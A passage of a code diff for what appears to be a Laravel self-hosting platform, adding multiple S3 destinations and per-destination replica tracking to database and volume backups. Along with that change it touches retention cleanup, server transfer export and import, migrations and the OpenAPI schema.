DEFAULT_TIMEOUT = 36000; protected $fillable = [ @@ -123,6 +127,11 @@ class ScheduledVolumeBackup extends BaseModel return $this->belongsTo(S3Storage::class, 's3_storage_id'); } + public function s3Storages(): BelongsToMany + { + return $this->belongsToMany(S3Storage::class, 'scheduled_volume_backup_s3_storage')->withTimestamps(); + } + public function executions(): HasMany { return $this->hasMany(ScheduledVolumeBackupExecution::class)->latest(); diff --git a/app/Models/ScheduledVolumeBackupExecution.php b/app/Models/ScheduledVolumeBackupExecution.php index 664efa11c1..82dfe0ee3b 100644 --- a/app/Models/ScheduledVolumeBackupExecution.php +++ b/app/Models/ScheduledVolumeBackupExecution.php @@ -2,10 +2,14 @@ namespace App\Models; +use App\Traits\HasS3Replicas; use Illuminate\Database\Eloquent\Relations\BelongsTo; +use Illuminate\Database\Eloquent\Relations\HasMany; class ScheduledVolumeBackupExecution extends BaseModel { + use HasS3Replicas; + protected $fillable = [ 'uuid', 'scheduled_volume_backup_id', @@ -56,4 +60,9 @@ class ScheduledVolumeBackupExecution extends BaseModel { return $this->belongsTo(S3Storage::class, 's3_storage_id'); } + + public function s3Replicas(): HasMany + { + return $this->hasMany(VolumeBackupS3Replica::class, 'execution_id'); + } } diff --git a/app/Models/VolumeBackupS3Replica.php b/app/Models/VolumeBackupS3Replica.php new file mode 100644 index 0000000000..779ee7571c --- /dev/null +++ b/app/Models/VolumeBackupS3Replica.php @@ -0,0 +1,38 @@ + 'boolean', + 's3_storage_deleted' => 'boolean', + ]; + } + + public function execution(): BelongsTo + { + return $this->belongsTo(ScheduledVolumeBackupExecution::class, 'execution_id'); + } + + public function s3(): BelongsTo + { + return $this->belongsTo(S3Storage::class, 's3_storage_id'); + } +} diff --git a/app/Services/ServerTransfer/ServerTransferExporter.php b/app/Services/ServerTransfer/ServerTransferExporter.php index 8db6e5afd1..db7ddf556e 100644 --- a/app/Services/ServerTransfer/ServerTransferExporter.php +++ b/app/Services/ServerTransfer/ServerTransferExporter.php @@ -16,6 +16,7 @@ use App\Models\Project; use App\Models\S3Storage; use App\Models\ScheduledDatabaseBackup; use App\Models\ScheduledTask; +use App\Models\ScheduledVolumeBackup; use App\Models\Server; use App\Models\Service; use App\Models\SharedEnvironmentVariable; @@ -202,22 +203,22 @@ class ServerTransferExporter } } - $collectVolumeS3 = function ($resource) use (&$s3Ids): void { + $collectBackupS3 = function (ScheduledDatabaseBackup|ScheduledVolumeBackup $backup) use (&$s3Ids): void { + $s3Ids->push($backup->s3_storage_id, ...$backup->s3Storages()->pluck('s3_storages.id')->all()); + }; + + $collectVolumeS3 = function ($resource) use ($collectBackupS3): void { if (method_exists($resource, 'persistentStorages')) { foreach ($resource->persistentStorages as $volume) { foreach ($volume->scheduledBackups as $vb) { - if ($vb->s3_storage_id) { - $s3Ids->push($vb->s3_storage_id); - } + $collectBackupS3($vb); } } } if (method_exists($resource, 'fileStorages')) { foreach ($resource->fileStorages as $file) { foreach ($file->scheduledBackups as $vb) { - if ($vb->s3_storage_id) { - $s3Ids->push($vb->s3_storage_id); - } + $collectBackupS3($vb); } } } @@ -226,9 +227,7 @@ class ServerTransferExporter foreach ($databases as $database) { if (method_exists($database, 'scheduledBackups')) { foreach ($database->scheduledBackups as $backup) { - if ($backup->s3_storage_id) { - $s3Ids->push($backup->s3_storage_id); - } + $collectBackupS3($backup); } } $database->loadMissing(['persistentStorages.scheduledBackups', 'fileStorages.scheduledBackups']); @@ -257,9 +256,7 @@ class ServerTransferExporter } foreach ($service->databases as $serviceDb) { foreach ($serviceDb->scheduledBackups as $backup) { - if ($backup->s3_storage_id) { - $s3Ids->push($backup->s3_storage_id); - } + $collectBackupS3($backup); } $collectVolumeS3($serviceDb); } @@ -981,6 +978,7 @@ class ServerTransferExporter 'timeout' => $backup->timeout, 'disable_local_backup' => (bool) ($backup->disable_local_backup ?? false), 's3_storage_uuid' => $backup->s3?->uuid, + 's3_storage_uuids' => $backup->selectedS3Storages()->pluck('uuid')->values()->all(), 'had_s3_storage' => filled($backup->s3_storage_id), ]; } @@ -1193,6 +1191,7 @@ class ServerTransferExporter 'retention_max_storage_s3' => $backup->retention_max_storage_s3, 'timeout' => $backup->timeout, 's3_storage_uuid' => $backup->s3?->uuid, + 's3_storage_uuids' => $backup->selectedS3Storages()->pluck('uuid')->values()->all(), 'had_s3_storage' => filled($backup->s3_storage_id), ]; } diff --git a/app/Services/ServerTransfer/ServerTransferImporter.php b/app/Services/ServerTransfer/ServerTransferImporter.php index 90fe5954d0..d1714d4e70 100644 --- a/app/Services/ServerTransfer/ServerTransferImporter.php +++ b/app/Services/ServerTransfer/ServerTransferImporter.php @@ -1237,13 +1237,10 @@ class ServerTransferImporter $uuid = new_public_id(); } - $s3Id = null; - $s3Uuid = data_get($backup, 's3_storage_uuid'); - if ($s3Uuid && isset($this->s3StorageMap[$s3Uuid])) { - $s3Id = $this->s3StorageMap[$s3Uuid]->id; - } + $s3Ids = $this->importedBackupS3StorageIds($backup); + $s3Id = $s3Ids[0] ?? null; - ScheduledDatabaseBackup::create([ + $importedBackup = ScheduledDatabaseBackup::create([ 'uuid' => $uuid, 'team_id' => $teamId, 'description' => data_get($backup, 'description'), @@ -1264,9 +1261,26 @@ class ServerTransferImporter 'database_type' => $database->getMorphClass(), 'database_id' => $database->id, ]); + $importedBackup->syncS3Storages($s3Ids); } } + /** + * Maps the exported S3 destinations of a backup to imported storages, primary first. Older bundles only have + * `s3_storage_uuid`. + * + * @param array $backup + * @return list + */ + private function importedBackupS3StorageIds(array $backup): array + { + $uuids = collect(data_get($backup, 's3_storage_uuids', [])) + ->prepend(data_get($backup, 's3_storage_uuid')) + ->filter(fn ($uuid): bool => is_string($uuid) && isset($this->s3StorageMap[$uuid])); + + return $uuids->map(fn (string $uuid): int => $this->s3StorageMap[$uuid]->id)->unique()->values()->all(); + } + /** * @param array $payload */ @@ -1612,13 +1626,10 @@ class ServerTransferImporter $uuid = new_public_id(); } - $s3Id = null; - $s3Uuid = data_get($backupPayload, 's3_storage_uuid'); - if ($s3Uuid && isset($this->s3StorageMap[$s3Uuid])) { - $s3Id = $this->s3StorageMap[$s3Uuid]->id; - } + $s3Ids = $this->importedBackupS3StorageIds($backupPayload); + $s3Id = $s3Ids[0] ?? null; - ScheduledVolumeBackup::create([ + $importedBackup = ScheduledVolumeBackup::create([ 'uuid' => $uuid, 'backupable_type' => $volume->getMorphClass(), 'backupable_id' => $volume->id, @@ -1637,6 +1648,7 @@ class ServerTransferImporter 'retention_max_storage_s3' => data_get($backupPayload, 'retention_max_storage_s3'), 'timeout' => data_get($backupPayload, 'timeout'), ]); + $importedBackup->syncS3Storages($s3Ids); $count++; } diff --git a/app/Traits/HasS3Destinations.php b/app/Traits/HasS3Destinations.php new file mode 100644 index 0000000000..59668f3961 --- /dev/null +++ b/app/Traits/HasS3Destinations.php @@ -0,0 +1,68 @@ + The primary destination comes first. + */ + public function selectedS3Storages(): Collection + { + $storages = $this->relationLoaded('s3Storages') + ? $this->s3Storages->sortBy('name') + : $this->s3Storages()->orderBy('s3_storages.name')->get(); + + if ($storages->isEmpty()) { + return $this->s3 ? collect([$this->s3]) : collect(); + } + + return $storages + ->sortBy(fn (S3Storage $storage): int => $storage->id === $this->s3_storage_id ? 0 : 1) + ->values(); + } + + /** + * Schedules that send backups to the given storage. + */ + public function scopeUsingS3Storage(Builder $query, int $storageId): Builder + { + return $query->where(fn (Builder $query) => $query + ->where('s3_storage_id', $storageId) + ->orWhereHas('s3Storages', fn (Builder $query) => $query->whereKey($storageId))); + } + + /** + * Gives a cloned schedule the same destinations, limited to storages of the clone's team. + */ + public function copyS3StoragesTo(self $copy): void + { + $copy->s3Storages()->sync( + $this->s3Storages()->where('s3_storages.team_id', $copy->team_id)->pluck('s3_storages.id')->all(), + ); + } + + /** + * Replaces the selected destinations. The current primary destination stays primary when it is still selected. + * + * @param array $storageIds + */ + public function syncS3Storages(array $storageIds): void + { + $storageIds = collect($storageIds)->map(fn ($id): int => (int) $id)->filter()->unique()->values(); + + $this->s3Storages()->sync($storageIds->all()); + $this->s3_storage_id = $storageIds->contains($this->s3_storage_id) ? $this->s3_storage_id : $storageIds->first(); + $this->save(); + } +} diff --git a/app/Traits/HasS3Replicas.php b/app/Traits/HasS3Replicas.php new file mode 100644 index 0000000000..81e935e174 --- /dev/null +++ b/app/Traits/HasS3Replicas.php @@ -0,0 +1,75 @@ +s3Replicas() + ->with('s3') + ->where('s3_uploaded', true) + ->where('s3_storage_deleted', false) + ->get(); + + try { + foreach ($replicas as $replica) { + if (! $replica->s3) { + throw new \RuntimeException('The S3 storage used by an existing backup is unavailable.'); + } + if (filled($this->filename)) { + deleteBackupsS3($this->filename, $replica->s3); + } + $replica->update(['s3_storage_deleted' => true]); + } + } finally { + $this->refreshS3Summary(); + } + } + + public function hasLiveS3Copies(): bool + { + return $this->s3Replicas()->where('s3_uploaded', true)->where('s3_storage_deleted', false)->exists(); + } + + /** + * Writes the replica states to the summary columns: uploaded when every copy uploaded, deleted when every uploaded + * copy is deleted. + */ + public function refreshS3Summary(): void + { + $replicas = $this->s3Replicas()->get(); + if ($replicas->isEmpty()) { + return; + } + + $uploaded = $replicas->where('s3_uploaded', true); + + $this->update([ + 's3_uploaded' => $replicas->every(fn ($replica): bool => $replica->s3_uploaded === true), + 's3_storage_deleted' => $uploaded->isNotEmpty() && $uploaded->every(fn ($replica): bool => $replica->s3_storage_deleted), + ]); + } + + /** + * Executions that have no S3 copy left to keep. + */ + public function scopeWithoutLiveS3Copies(Builder $query): Builder + { + return $query->whereDoesntHave('s3Replicas', fn (Builder $query) => $query + ->where('s3_uploaded', true) + ->where('s3_storage_deleted', false)); + } +} diff --git a/bootstrap/helpers/databases.php b/bootstrap/helpers/databases.php index f4a97be5ce..966b2de3e6 100644 --- a/bootstrap/helpers/databases.php +++ b/bootstrap/helpers/databases.php @@ -1,7 +1,9 @@ executions) { - // Delete old local backups (only if local backup is NOT disabled) - // Note: When disable_local_backup is enabled, each execution already marks its own - // local_storage_deleted status at the time of backup, so we don't need to retroactively - // update old executions - if (! $backup->disable_local_backup) { - $localBackupsToDelete = deleteOldBackupsLocally($backup); - if ($localBackupsToDelete->isNotEmpty()) { - $backup->executions() - ->whereIn('id', $localBackupsToDelete->pluck('id')) - ->update(['local_storage_deleted' => true]); - } - } - } - - if ($backup->save_s3 && $backup->executions) { - $s3BackupsToDelete = deleteOldBackupsFromS3($backup); - if ($s3BackupsToDelete->isNotEmpty()) { - $backup->executions() - ->whereIn('id', $s3BackupsToDelete->pluck('id')) - ->update(['s3_storage_deleted' => true]); - } - } - - // Delete execution records where all backup copies are gone - // Case 1: Both local and S3 backups are deleted + // When local backups are disabled, retain the local file until an S3 copy is available. + $localBackupsToDelete = deleteOldBackupsLocally($backup); + if ($localBackupsToDelete->isNotEmpty()) { $backup->executions() - ->where('local_storage_deleted', true) - ->where('s3_storage_deleted', true) - ->delete(); - - // Case 2: Local backup is deleted and S3 was never used (s3_uploaded is null) - $backup->executions() - ->where('local_storage_deleted', true) - ->whereNull('s3_uploaded') - ->delete(); - - } catch (Exception $e) { - throw $e; + ->whereIn('id', $localBackupsToDelete->pluck('id')) + ->update(['local_storage_deleted' => true]); } + + if ($backup->save_s3) { + deleteOldBackupsFromS3($backup); + } + + // Delete execution records when no local file and no S3 copy is left + $backup->executions() + ->where('local_storage_deleted', true) + ->withoutLiveS3Copies() + ->delete(); } -function deleteOldBackupsLocally($backup): Collection +/** + * Successful executions that fall outside the retention settings, newest execution first. + * + * @param Collection $executions Sorted newest first. + * @return Collection + */ +function backupExecutionsOutsideRetention(Collection $executions, ?int $retentionAmount, ?int $retentionDays, int|float|null $maxStorageGB): Collection { - if (! $backup || ! $backup->executions) { - return collect(); - } - - $successfulBackups = $backup->executions() - ->where('status', 'success') - ->where('local_storage_deleted', false) - ->orderBy('created_at', 'desc') - ->get(); - - if ($successfulBackups->isEmpty()) { - return collect(); - } - - $retentionAmount = $backup->database_backup_retention_amount_locally; - $retentionDays = $backup->database_backup_retention_days_locally; - $maxStorageGB = $backup->database_backup_retention_max_storage_locally; - - if ($retentionAmount === 0 && $retentionDays === 0 && $maxStorageGB === 0) { + if ($executions->isEmpty()) { return collect(); } $backupsToDelete = collect(); if ($retentionAmount > 0) { - $byAmount = $successfulBackups->skip($retentionAmount); - $backupsToDelete = $backupsToDelete->merge($byAmount); + $backupsToDelete = $backupsToDelete->merge($executions->skip($retentionAmount)); } if ($retentionDays > 0) { - $oldestAllowedDate = $successfulBackups->first()->created_at->clone()->utc()->subDays($retentionDays); - $oldBackups = $successfulBackups->filter(fn ($execution) => $execution->created_at->utc() < $oldestAllowedDate); - $backupsToDelete = $backupsToDelete->merge($oldBackups); + $oldestAllowedDate = $executions->first()->created_at->clone()->utc()->subDays($retentionDays); + $backupsToDelete = $backupsToDelete->merge( + $executions->filter(fn ($execution) => $execution->created_at->utc() < $oldestAllowedDate) + ); } if ($maxStorageGB > 0) { $maxStorageBytes = $maxStorageGB * pow(1024, 3); $totalSize = 0; - $backupsOverLimit = collect(); - $backupsToCheck = $successfulBackups->skip(1); - - foreach ($backupsToCheck as $backupExecution) { + foreach ($executions->skip(1) as $backupExecution) { $totalSize += (int) $backupExecution->size; if ($totalSize > $maxStorageBytes) { - $backupsOverLimit = $successfulBackups->filter( + $backupsToDelete = $backupsToDelete->merge($executions->filter( fn ($b) => $b->created_at->utc() <= $backupExecution->created_at->utc() - )->skip(1); + )->skip(1)); break; } } - - $backupsToDelete = $backupsToDelete->merge($backupsOverLimit); } - $backupsToDelete = $backupsToDelete->unique('id'); - $processedBackups = collect(); + return $backupsToDelete->unique('id')->values(); +} + +function deleteOldBackupsLocally($backup): Collection +{ + if (! $backup) { + return collect(); + } + + $successfulBackups = $backup->executions() + ->where('status', 'success') + ->where('local_storage_deleted', false) + ->when($backup->disable_local_backup, fn ($query) => $query + ->whereHas('s3Replicas', fn ($query) => $query + ->where('s3_uploaded', true) + ->where('s3_storage_deleted', false))) + ->orderBy('created_at', 'desc') + ->orderBy('id', 'desc') + ->get(); + + $backupsToDelete = backupExecutionsOutsideRetention( + $successfulBackups, + $backup->database_backup_retention_amount_locally, + $backup->database_backup_retention_days_locally, + $backup->database_backup_retention_max_storage_locally, + ); + + if ($backupsToDelete->isEmpty()) { + return collect(); + } - $server = null; if ($backup->database_type === ServiceDatabase::class) { $server = $backup->database->service->server; } else { @@ -433,89 +421,81 @@ function deleteOldBackupsLocally($backup): Collection ->pluck('filename') ->all(); - if (! empty($filesToDelete)) { - deleteBackupsLocally($filesToDelete, $server); - $processedBackups = $backupsToDelete; + if (empty($filesToDelete)) { + return collect(); } - return $processedBackups; + deleteBackupsLocally($filesToDelete, $server); + + return $backupsToDelete; } +/** + * Applies the S3 retention settings to each destination separately. Copies in a storage that no longer exists are + * marked as deleted. + * + * @return Collection The executions that lost at least one S3 copy. + */ function deleteOldBackupsFromS3($backup): Collection { - if (! $backup || ! $backup->executions || ! $backup->s3) { + if (! $backup) { return collect(); } - $successfulBackups = $backup->executions() - ->where('status', 'success') + $liveReplicas = DatabaseBackupS3Replica::query() + ->with('s3') + ->whereHas('execution', fn ($query) => $query + ->where('scheduled_database_backup_id', $backup->id) + ->where('status', 'success')) + ->where('s3_uploaded', true) ->where('s3_storage_deleted', false) - ->orderBy('created_at', 'desc') ->get(); - if ($successfulBackups->isEmpty()) { - return collect(); - } + $deletedReplicas = $liveReplicas->filter(fn (DatabaseBackupS3Replica $replica) => ! $replica->s3); - $retentionAmount = $backup->database_backup_retention_amount_s3; - $retentionDays = $backup->database_backup_retention_days_s3; - $maxStorageGB = $backup->database_backup_retention_max_storage_s3; + foreach ($liveReplicas->filter(fn (DatabaseBackupS3Replica $replica) => $replica->s3)->groupBy('s3_storage_id') as $replicas) { + $successfulBackups = $backup->executions() + ->whereIn('id', $replicas->pluck('execution_id')) + ->orderBy('created_at', 'desc') + ->orderBy('id', 'desc') + ->get(); - if ($retentionAmount === 0 && $retentionDays === 0 && $maxStorageGB === 0) { - return collect(); - } + $backupsToDelete = backupExecutionsOutsideRetention( + $successfulBackups, + $backup->database_backup_retention_amount_s3, + $backup->database_backup_retention_days_s3, + $backup->database_backup_retention_max_storage_s3, + ); - $backupsToDelete = collect(); + $filesToDelete = $backupsToDelete + ->filter(fn ($execution) => ! empty($execution->filename)) + ->pluck('filename') + ->all(); - if ($retentionAmount > 0) { - $byAmount = $successfulBackups->skip($retentionAmount); - $backupsToDelete = $backupsToDelete->merge($byAmount); - } - - if ($retentionDays > 0) { - $oldestAllowedDate = $successfulBackups->first()->created_at->clone()->utc()->subDays($retentionDays); - $oldBackups = $successfulBackups->filter(fn ($execution) => $execution->created_at->utc() < $oldestAllowedDate); - $backupsToDelete = $backupsToDelete->merge($oldBackups); - } - - if ($maxStorageGB > 0) { - $maxStorageBytes = $maxStorageGB * pow(1024, 3); - $totalSize = 0; - $backupsOverLimit = collect(); - - $backupsToCheck = $successfulBackups->skip(1); - - foreach ($backupsToCheck as $backupExecution) { - $totalSize += (int) $backupExecution->size; - if ($totalSize > $maxStorageBytes) { - $backupsOverLimit = $successfulBackups->filter( - fn ($b) => $b->created_at->utc() <= $backupExecution->created_at->utc() - )->skip(1); - break; - } + if (empty($filesToDelete)) { + continue; } - $backupsToDelete = $backupsToDelete->merge($backupsOverLimit); - } - - $backupsToDelete = $backupsToDelete->unique('id'); - $processedBackups = collect(); - - $filesToDelete = $backupsToDelete - ->filter(fn ($execution) => ! empty($execution->filename)) - ->pluck('filename') - ->all(); - - if (! empty($filesToDelete)) { try { - deleteBackupsS3($filesToDelete, $backup->s3); - $processedBackups = $backupsToDelete; + deleteBackupsS3($filesToDelete, $replicas->first()->s3); + $deletedReplicas = $deletedReplicas->merge($replicas->whereIn('execution_id', $backupsToDelete->pluck('id'))); } catch (Throwable $e) { report($e); } } - return $processedBackups; + if ($deletedReplicas->isEmpty()) { + return collect(); + } + + DatabaseBackupS3Replica::query() + ->whereKey($deletedReplicas->pluck('id')) + ->update(['s3_storage_deleted' => true]); + + $executions = $backup->executions()->whereIn('id', $deletedReplicas->pluck('execution_id')->unique())->get(); + $executions->each(fn (ScheduledDatabaseBackupExecution $execution) => $execution->refreshS3Summary()); + + return $executions; } function isPublicPortAlreadyUsed(Server $server, int $port, ?string $id = null): bool diff --git a/database/migrations/2026_10_07_150000_create_backup_s3_destination_tables.php b/database/migrations/2026_10_07_150000_create_backup_s3_destination_tables.php new file mode 100644 index 0000000000..39aff70ad2 --- /dev/null +++ b/database/migrations/2026_10_07_150000_create_backup_s3_destination_tables.php @@ -0,0 +1,126 @@ +id(); + $table->foreignId('scheduled_database_backup_id') + ->constrained(indexName: 'db_backup_s3_storage_backup_fk') + ->cascadeOnDelete(); + $table->foreignId('s3_storage_id') + ->constrained(indexName: 'db_backup_s3_storage_storage_fk') + ->cascadeOnDelete(); + $table->timestamps(); + $table->unique(['scheduled_database_backup_id', 's3_storage_id'], 'db_backup_s3_storage_unique'); + }); + + Schema::create('scheduled_volume_backup_s3_storage', function (Blueprint $table) { + $table->id(); + $table->foreignId('scheduled_volume_backup_id') + ->constrained(indexName: 'volume_backup_s3_storage_backup_fk') + ->cascadeOnDelete(); + $table->foreignId('s3_storage_id') + ->constrained(indexName: 'volume_backup_s3_storage_storage_fk') + ->cascadeOnDelete(); + $table->timestamps(); + $table->unique(['scheduled_volume_backup_id', 's3_storage_id'], 'volume_backup_s3_storage_unique'); + }); + + Schema::create('database_backup_s3_replicas', function (Blueprint $table) { + $table->id(); + $table->foreignId('execution_id') + ->index() + ->constrained('scheduled_database_backup_executions', indexName: 'db_backup_s3_replicas_execution_fk') + ->cascadeOnDelete(); + $table->foreignId('s3_storage_id') + ->nullable() + ->constrained(indexName: 'db_backup_s3_replicas_storage_fk') + ->nullOnDelete(); + $table->boolean('s3_uploaded')->nullable(); + $table->boolean('s3_storage_deleted')->default(false); + $table->text('message')->nullable(); + $table->timestamps(); + }); + + Schema::create('volume_backup_s3_replicas', function (Blueprint $table) { + $table->id(); + $table->foreignId('execution_id') + ->index() + ->constrained('scheduled_volume_backup_executions', indexName: 'volume_backup_s3_replicas_execution_fk') + ->cascadeOnDelete(); + $table->foreignId('s3_storage_id') + ->nullable() + ->constrained(indexName: 'volume_backup_s3_replicas_storage_fk') + ->nullOnDelete(); + $table->boolean('s3_uploaded')->nullable(); + $table->boolean('s3_storage_deleted')->default(false); + $table->text('message')->nullable(); + $table->timestamps(); + }); + + $this->backfill(); + } + + public function down(): void + { + Schema::dropIfExists('volume_backup_s3_replicas'); + Schema::dropIfExists('database_backup_s3_replicas'); + Schema::dropIfExists('scheduled_volume_backup_s3_storage'); + Schema::dropIfExists('scheduled_database_backup_s3_storage'); + } + + /** + * Copies the single S3 destination of existing schedules and executions into the new tables. + */ + private function backfill(): void + { + $now = now(); + + DB::table('scheduled_database_backup_s3_storage')->insertUsing( + ['scheduled_database_backup_id', 's3_storage_id', 'created_at', 'updated_at'], + DB::table('scheduled_database_backups') + ->join('s3_storages', 's3_storages.id', '=', 'scheduled_database_backups.s3_storage_id') + ->select('scheduled_database_backups.id', 'scheduled_database_backups.s3_storage_id') + ->selectRaw('?, ?', [$now, $now]), + ); + + DB::table('scheduled_volume_backup_s3_storage')->insertUsing( + ['scheduled_volume_backup_id', 's3_storage_id', 'created_at', 'updated_at'], + DB::table('scheduled_volume_backups') + ->whereNotNull('s3_storage_id') + ->select('id', 's3_storage_id') + ->selectRaw('?, ?', [$now, $now]), + ); + + // Database executions have no storage column: the copy went to the storage of the schedule. + DB::table('database_backup_s3_replicas')->insertUsing( + ['execution_id', 's3_storage_id', 's3_uploaded', 's3_storage_deleted', 'created_at', 'updated_at'], + DB::table('scheduled_database_backup_executions') + ->join('scheduled_database_backups', 'scheduled_database_backups.id', '=', 'scheduled_database_backup_executions.scheduled_database_backup_id') + ->leftJoin('s3_storages', 's3_storages.id', '=', 'scheduled_database_backups.s3_storage_id') + ->whereNotNull('scheduled_database_backup_executions.s3_uploaded') + ->select( + 'scheduled_database_backup_executions.id', + 's3_storages.id', + 'scheduled_database_backup_executions.s3_uploaded', + 'scheduled_database_backup_executions.s3_storage_deleted', + ) + ->selectRaw('?, ?', [$now, $now]), + ); + + DB::table('volume_backup_s3_replicas')->insertUsing( + ['execution_id', 's3_storage_id', 's3_uploaded', 's3_storage_deleted', 'created_at', 'updated_at'], + DB::table('scheduled_volume_backup_executions') + ->whereNotNull('s3_storage_id') + ->select('id', 's3_storage_id', 's3_uploaded', 's3_storage_deleted') + ->selectRaw('?, ?', [$now, $now]), + ); + } +}; diff --git a/openapi.json b/openapi.json index 192d6f49b9..e418f93489 100644 --- a/openapi.json +++ b/openapi.json @@ -86,9 +86,9 @@ "properties": { "pull_request_id": { "type": "integer", + "example": 42, "maximum": 2147483647, - "minimum": 1, - "example": 42 + "minimum": 1 }, "pull_request_html_url": { "type": [ @@ -6857,7 +6857,7 @@ ], "responses": { "200": { - "description": "Get all backups for a database", + "description": "Get all backups for a database. Each backup includes s3_storage_uuid (primary S3 destination) and s3_storage_uuids (every S3 destination, primary first).", "content": { "application\/json": { "schema": { @@ -6927,7 +6927,14 @@ }, "s3_storage_uuid": { "type": "string", - "description": "S3 storage UUID (required if save_s3 is true)" + "description": "Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination. Either field is required if save_s3 is true." + }, + "s3_storage_uuids": { + "type": "array", + "items": { + "type": "string" + }, + "description": "UUIDs of every S3 storage the backup is uploaded to. Replaces the current destinations. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination." }, "databases_to_backup": { "type": "string", @@ -7530,7 +7537,14 @@ }, "s3_storage_uuid": { "type": "string", - "description": "S3 storage UUID" + "description": "Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination; when it is already a destination, it becomes the primary destination and the other destinations stay." + }, + "s3_storage_uuids": { + "type": "array", + "items": { + "type": "string" + }, + "description": "UUIDs of every S3 storage the backup is uploaded to. Replaces the current destinations. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination." }, "backup_now": { "type": "boolean", @@ -10878,8 +10892,8 @@ }, "network": { "type": "string", - "maxLength": 255, - "pattern": "^[a-zA-Z0-9][a-zA-Z0-9._-]*$" + "pattern": "^[a-zA-Z0-9][a-zA-Z0-9._-]*$", + "maxLength": 255 }, "type": { "type": "string", @@ -23541,8 +23555,8 @@ "properties": { "frequency": { "type": "string", - "maxLength": 255, - "example": "0 2 * * *" + "example": "0 2 * * *", + "maxLength": 255 }, "enabled": { "type": "boolean", @@ -23561,11 +23575,19 @@ "default": false }, "s3_storage_uuid": { + "description": "Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination.", "type": [ "string", "null" ] }, + "s3_storage_uuids": { + "description": "UUIDs of every S3 storage the backup is uploaded to. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination. save_s3 requires at least one destination.", + "type": "array", + "items": { + "type": "string" + } + }, "retention_amount_locally": { "type": "integer", "default": 7, @@ -23674,11 +23696,19 @@ "type": "boolean" }, "s3_storage_uuid": { + "description": "Primary S3 destination.", "type": [ "string", "null" ] }, + "s3_storage_uuids": { + "description": "Every S3 destination, primary first.", + "type": "array", + "items": { + "type": "string" + } + }, "retention_amount_locally": { "type": "integer" }, diff --git a/openapi.yaml b/openapi.yaml index 5983cbe38d..a7e4087848 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -62,9 +62,9 @@ paths: properties: pull_request_id: type: integer + example: 42 maximum: 2147483647 minimum: 1 - example: 42 pull_request_html_url: type: [string, 'null'] example: 'https://github.com/org/repo/pull/42' @@ -4401,7 +4401,7 @@ paths: type: string responses: '200': - description: 'Get all backups for a database' + description: 'Get all backups for a database. Each backup includes s3_storage_uuid (primary S3 destination) and s3_storage_uuids (every S3 destination, primary first).' content: application/json: schema: @@ -4452,7 +4452,11 @@ paths: default: false s3_storage_uuid: type: string - description: 'S3 storage UUID (required if save_s3 is true)' + description: 'Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination. Either field is required if save_s3 is true.' + s3_storage_uuids: + type: array + items: { type: string } + description: 'UUIDs of every S3 storage the backup is uploaded to. Replaces the current destinations. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination.' databases_to_backup: type: string description: 'Comma separated list of databases to backup' @@ -4875,7 +4879,11 @@ paths: description: 'Whether data is saved in s3 or not' s3_storage_uuid: type: string - description: 'S3 storage UUID' + description: 'Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination; when it is already a destination, it becomes the primary destination and the other destinations stay.' + s3_storage_uuids: + type: array + items: { type: string } + description: 'UUIDs of every S3 storage the backup is uploaded to. Replaces the current destinations. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination.' backup_now: type: boolean description: 'Whether to take a backup now or not' @@ -7099,8 +7107,8 @@ paths: maxLength: 255 network: type: string - maxLength: 255 pattern: '^[a-zA-Z0-9][a-zA-Z0-9._-]*$' + maxLength: 255 type: type: string enum: [standalone, swarm] @@ -14947,8 +14955,8 @@ components: properties: frequency: type: string - maxLength: 255 example: '0 2 * * *' + maxLength: 255 enabled: type: boolean default: true @@ -14962,9 +14970,15 @@ components: type: boolean default: false s3_storage_uuid: + description: 'Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination.' type: - string - 'null' + s3_storage_uuids: + description: 'UUIDs of every S3 storage the backup is uploaded to. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination. save_s3 requires at least one destination.' + type: array + items: + type: string retention_amount_locally: type: integer default: 7 @@ -15052,9 +15066,15 @@ components: stop_during_backup: type: boolean s3_storage_uuid: + description: 'Primary S3 destination.' type: - string - 'null' + s3_storage_uuids: + description: 'Every S3 destination, primary first.' + type: array + items: + type: string retention_amount_locally: type: integer retention_days_locally: diff --git a/resources/views/components/status-badge.blade.php b/resources/views/components/status-badge.blade.php index 5aa02454bd..a8f49e8bf5 100644 --- a/resources/views/components/status-badge.blade.php +++ b/resources/views/components/status-badge.blade.php @@ -4,6 +4,7 @@ 'type' => 'neutral', 'as' => 'span', 'dynamic' => false, + 'pulse' => false, // ping the dot for a state that is still in progress ]) @php @@ -22,7 +23,12 @@ @if ($dynamic) {{ $slot }} @else - + + @if ($pulse) + + @endif + + {{ collect([$label, $status])->filter()->join(' ') }} @endif @@ -31,7 +37,12 @@ @if ($dynamic) {{ $slot }} @else - + + @if ($pulse) + + @endif + + {{ collect([$label, $status])->filter()->join(' ') }} @endif @@ -40,7 +51,12 @@ @if ($dynamic) {{ $slot }} @else - + + @if ($pulse) + + @endif + + {{ collect([$label, $status])->filter()->join(' ') }} @endif diff --git a/resources/views/livewire/project/application/backup/index.blade.php b/resources/views/livewire/project/application/backup/index.blade.php index 7e89bbcd07..785b855cae 100644 --- a/resources/views/livewire/project/application/backup/index.blade.php +++ b/resources/views/livewire/project/application/backup/index.blade.php @@ -181,6 +181,7 @@ @foreach ($backups as $backup) @php $latestExecution = $backup->latestExecution; + $s3StorageNames = ($backup->s3Storages->isNotEmpty() ? $backup->s3Storages : collect([$backup->s3])->filter())->pluck('name'); $status = $latestExecution?->status; $statusLabel = match ($status) { 'running' => 'In progress', @@ -208,9 +209,9 @@ {{ $backup->targetType() }} {{ $backup->frequency }} - - + + {{ $latestExecution?->finished_at?->diffForHumans() ?? ($status === 'running' ? 'Running now' : 'Never') }} diff --git a/resources/views/livewire/project/database/backup-edit/s3.blade.php b/resources/views/livewire/project/database/backup-edit/s3.blade.php index 